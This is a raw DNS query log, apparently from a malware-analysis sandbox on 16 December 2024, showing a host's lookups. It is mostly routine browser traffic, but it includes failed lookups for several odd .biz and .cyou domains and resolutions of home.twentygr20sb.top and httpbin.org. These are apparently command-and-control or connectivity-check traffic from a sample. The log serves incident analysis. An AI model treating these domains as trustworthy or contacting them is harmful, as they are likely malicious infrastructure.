Dec 16, 2024 13:17:13.628454924 CET	1.1.1.1	192.168.2.8	0xab0b	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.709676981 CET	1.1.1.1	192.168.2.8	0x7097	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.710732937 CET	1.1.1.1	192.168.2.8	0xfc91	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:13.710732937 CET	1.1.1.1	192.168.2.8	0xfc91	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.829042912 CET	1.1.1.1	192.168.2.8	0x58ac	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.852260113 CET	1.1.1.1	192.168.2.8	0xd78b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:13.852260113 CET	1.1.1.1	192.168.2.8	0xd78b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.897775888 CET	1.1.1.1	192.168.2.8	0x6450	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:13.897775888 CET	1.1.1.1	192.168.2.8	0x6450	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:13.897775888 CET	1.1.1.1	192.168.2.8	0x6450	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.897849083 CET	1.1.1.1	192.168.2.8	0x7a96	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:13.897849083 CET	1.1.1.1	192.168.2.8	0x7a96	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.901890039 CET	1.1.1.1	192.168.2.8	0x5fc4	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.919867039 CET	1.1.1.1	192.168.2.8	0x4521	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.935585022 CET	1.1.1.1	192.168.2.8	0xe63	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.014022112 CET	1.1.1.1	192.168.2.8	0x79c6	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:14.034414053 CET	1.1.1.1	192.168.2.8	0x84fe	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.071439981 CET	1.1.1.1	192.168.2.8	0x9486	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 16, 2024 13:17:14.092267036 CET	1.1.1.1	192.168.2.8	0xb23	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:14.165215015 CET	1.1.1.1	192.168.2.8	0xbd58	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:14.165215015 CET	1.1.1.1	192.168.2.8	0xbd58	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.175734997 CET	1.1.1.1	192.168.2.8	0x86fc	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:14.175734997 CET	1.1.1.1	192.168.2.8	0x86fc	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.268800974 CET	1.1.1.1	192.168.2.8	0xcaef	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.279531956 CET	1.1.1.1	192.168.2.8	0x73ae	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.280066967 CET	1.1.1.1	192.168.2.8	0x71e3	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.442394972 CET	1.1.1.1	192.168.2.8	0xad03	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 16, 2024 13:17:14.615711927 CET	1.1.1.1	192.168.2.8	0xbaf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.615741014 CET	1.1.1.1	192.168.2.8	0x172c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:14.932360888 CET	1.1.1.1	192.168.2.8	0x9ee0	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:15.085294008 CET	1.1.1.1	192.168.2.8	0xb111	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:15.085294008 CET	1.1.1.1	192.168.2.8	0xb111	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:15.085784912 CET	1.1.1.1	192.168.2.8	0x52fe	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:15.087548971 CET	1.1.1.1	192.168.2.8	0x2fa6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:15.087548971 CET	1.1.1.1	192.168.2.8	0x2fa6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:15.473330975 CET	1.1.1.1	192.168.2.8	0xaad3	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:16.059041023 CET	1.1.1.1	192.168.2.8	0xfa5c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:17.224811077 CET	1.1.1.1	192.168.2.8	0xaba3	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.151458025 CET	1.1.1.1	192.168.2.8	0x2b60	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.156310081 CET	1.1.1.1	192.168.2.8	0xf49f	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:18.156310081 CET	1.1.1.1	192.168.2.8	0xf49f	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.156320095 CET	1.1.1.1	192.168.2.8	0x186f	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:18.156320095 CET	1.1.1.1	192.168.2.8	0x186f	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.291954994 CET	1.1.1.1	192.168.2.8	0xcdbf	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.339643955 CET	1.1.1.1	192.168.2.8	0xa30	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.399386883 CET	1.1.1.1	192.168.2.8	0xff5a	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.554552078 CET	1.1.1.1	192.168.2.8	0xce65	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:18.554987907 CET	1.1.1.1	192.168.2.8	0x3cc0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:18.554987907 CET	1.1.1.1	192.168.2.8	0x3cc0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:18.554987907 CET	1.1.1.1	192.168.2.8	0x3cc0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:18.554987907 CET	1.1.1.1	192.168.2.8	0x3cc0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:18.568861961 CET	1.1.1.1	192.168.2.8	0x30b0	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Dec 16, 2024 13:17:18.696742058 CET	1.1.1.1	192.168.2.8	0xb44e	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:18.696742058 CET	1.1.1.1	192.168.2.8	0xb44e	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.696742058 CET	1.1.1.1	192.168.2.8	0xb44e	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.696742058 CET	1.1.1.1	192.168.2.8	0xb44e	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.696742058 CET	1.1.1.1	192.168.2.8	0xb44e	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.699215889 CET	1.1.1.1	192.168.2.8	0x273c	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.837263107 CET	1.1.1.1	192.168.2.8	0x8cc1	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.838102102 CET	1.1.1.1	192.168.2.8	0x5c3	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.838102102 CET	1.1.1.1	192.168.2.8	0x5c3	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.838102102 CET	1.1.1.1	192.168.2.8	0x5c3	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.838102102 CET	1.1.1.1	192.168.2.8	0x5c3	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:18.965138912 CET	1.1.1.1	192.168.2.8	0xd1e3	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:18.965138912 CET	1.1.1.1	192.168.2.8	0xd1e3	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:17:18.965138912 CET	1.1.1.1	192.168.2.8	0xd1e3	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:19.106353045 CET	1.1.1.1	192.168.2.8	0x234f	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:25.168811083 CET	1.1.1.1	192.168.2.8	0x58ea	Name error (3)	drive-connect.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:25.463541985 CET	1.1.1.1	192.168.2.8	0x9d6a	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:25.686206102 CET	1.1.1.1	192.168.2.8	0xaf25	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:25.918603897 CET	1.1.1.1	192.168.2.8	0x235f	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:26.138494968 CET	1.1.1.1	192.168.2.8	0xb0c4	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:26.598524094 CET	1.1.1.1	192.168.2.8	0x3714	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:26.833110094 CET	1.1.1.1	192.168.2.8	0xe671	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:27.059437990 CET	1.1.1.1	192.168.2.8	0x93a9	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:27.297359943 CET	1.1.1.1	192.168.2.8	0xb870	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:33.731741905 CET	1.1.1.1	192.168.2.8	0x5069	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:33.731741905 CET	1.1.1.1	192.168.2.8	0x5069	No error (0)	httpbin.org		44.196.3.45	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:36.631407022 CET	1.1.1.1	192.168.2.8	0x64f3	No error (0)	home.twentygr20sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:39.657421112 CET	1.1.1.1	192.168.2.8	0x12a	No error (0)	home.twentygr20sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:41.120239019 CET	1.1.1.1	192.168.2.8	0x3af4	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:42.511792898 CET	1.1.1.1	192.168.2.8	0xb766	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:43.405771017 CET	1.1.1.1	192.168.2.8	0x8ec8	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:43.431361914 CET	1.1.1.1	192.168.2.8	0xffda	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:43.431361914 CET	1.1.1.1	192.168.2.8	0xffda	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:43.431361914 CET	1.1.1.1	192.168.2.8	0xffda	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:43.431361914 CET	1.1.1.1	192.168.2.8	0xffda	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:17:43.587852955 CET	1.1.1.1	192.168.2.8	0x2eac	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:43.587852955 CET	1.1.1.1	192.168.2.8	0x2eac	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:43.587852955 CET	1.1.1.1	192.168.2.8	0x2eac	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:43.587852955 CET	1.1.1.1	192.168.2.8	0x2eac	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:57.508816957 CET	1.1.1.1	192.168.2.8	0xef83	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:04.422105074 CET	1.1.1.1	192.168.2.8	0xd7db	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:04.424232006 CET	1.1.1.1	192.168.2.8	0xccac	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 13:18:05.160371065 CET	1.1.1.1	192.168.2.8	0xdc01	No error (0)	twentygr20sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:07.995116949 CET	1.1.1.1	192.168.2.8	0xb40a	No error (0)	twentygr20sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:09.068095922 CET	1.1.1.1	192.168.2.8	0x5bd9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:09.068095922 CET	1.1.1.1	192.168.2.8	0x5bd9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:09.208201885 CET	1.1.1.1	192.168.2.8	0x51e1	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:10.316091061 CET	1.1.1.1	192.168.2.8	0xcd27	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:10.316091061 CET	1.1.1.1	192.168.2.8	0xcd27	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:11.419209957 CET	1.1.1.1	192.168.2.8	0x96dc	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:11.419209957 CET	1.1.1.1	192.168.2.8	0x96dc	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:11.419671059 CET	1.1.1.1	192.168.2.8	0x69c8	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:12.273972988 CET	1.1.1.1	192.168.2.8	0x1876	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:12.398130894 CET	1.1.1.1	192.168.2.8	0x1876	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:19.771696091 CET	1.1.1.1	192.168.2.8	0xc3bc	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:20.836389065 CET	1.1.1.1	192.168.2.8	0xbca5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:20.838551044 CET	1.1.1.1	192.168.2.8	0x3357	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:21.158866882 CET	1.1.1.1	192.168.2.8	0x4395	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:21.158866882 CET	1.1.1.1	192.168.2.8	0x4395	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:21.162384987 CET	1.1.1.1	192.168.2.8	0x2220	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:21.162384987 CET	1.1.1.1	192.168.2.8	0x2220	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:21.273750067 CET	1.1.1.1	192.168.2.8	0x5cfc	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:23.116064072 CET	1.1.1.1	192.168.2.8	0x37f2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:23.217171907 CET	1.1.1.1	192.168.2.8	0x659c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:25.662336111 CET	1.1.1.1	192.168.2.8	0xbb1a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:18:25.662409067 CET	1.1.1.1	192.168.2.8	0x287f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.662409067 CET	1.1.1.1	192.168.2.8	0x287f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.662467957 CET	1.1.1.1	192.168.2.8	0x3d57	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:18:25.668780088 CET	1.1.1.1	192.168.2.8	0xa3f7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.668780088 CET	1.1.1.1	192.168.2.8	0xa3f7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.668795109 CET	1.1.1.1	192.168.2.8	0x43a6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:18:25.668911934 CET	1.1.1.1	192.168.2.8	0xec12	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.668911934 CET	1.1.1.1	192.168.2.8	0xec12	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.774727106 CET	1.1.1.1	192.168.2.8	0x5c58	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.774727106 CET	1.1.1.1	192.168.2.8	0x5c58	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.774727106 CET	1.1.1.1	192.168.2.8	0x5c58	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.774727106 CET	1.1.1.1	192.168.2.8	0x5c58	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:25.778240919 CET	1.1.1.1	192.168.2.8	0x20ee	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:25.780407906 CET	1.1.1.1	192.168.2.8	0x4800	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:25.944833994 CET	1.1.1.1	192.168.2.8	0x37dd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:25.945379019 CET	1.1.1.1	192.168.2.8	0xff46	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:26.113110065 CET	1.1.1.1	192.168.2.8	0x1ea9	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:26.113720894 CET	1.1.1.1	192.168.2.8	0xe377	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:29.604624033 CET	1.1.1.1	192.168.2.8	0xece3	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:29.604639053 CET	1.1.1.1	192.168.2.8	0xdd2	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:18:37.700532913 CET	1.1.1.1	192.168.2.8	0x4dc9	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:18:37.840318918 CET	1.1.1.1	192.168.2.8	0x47a	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:37.404620886 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:37.404620886 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:37.701941013 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:37.701941013 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:38.709042072 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
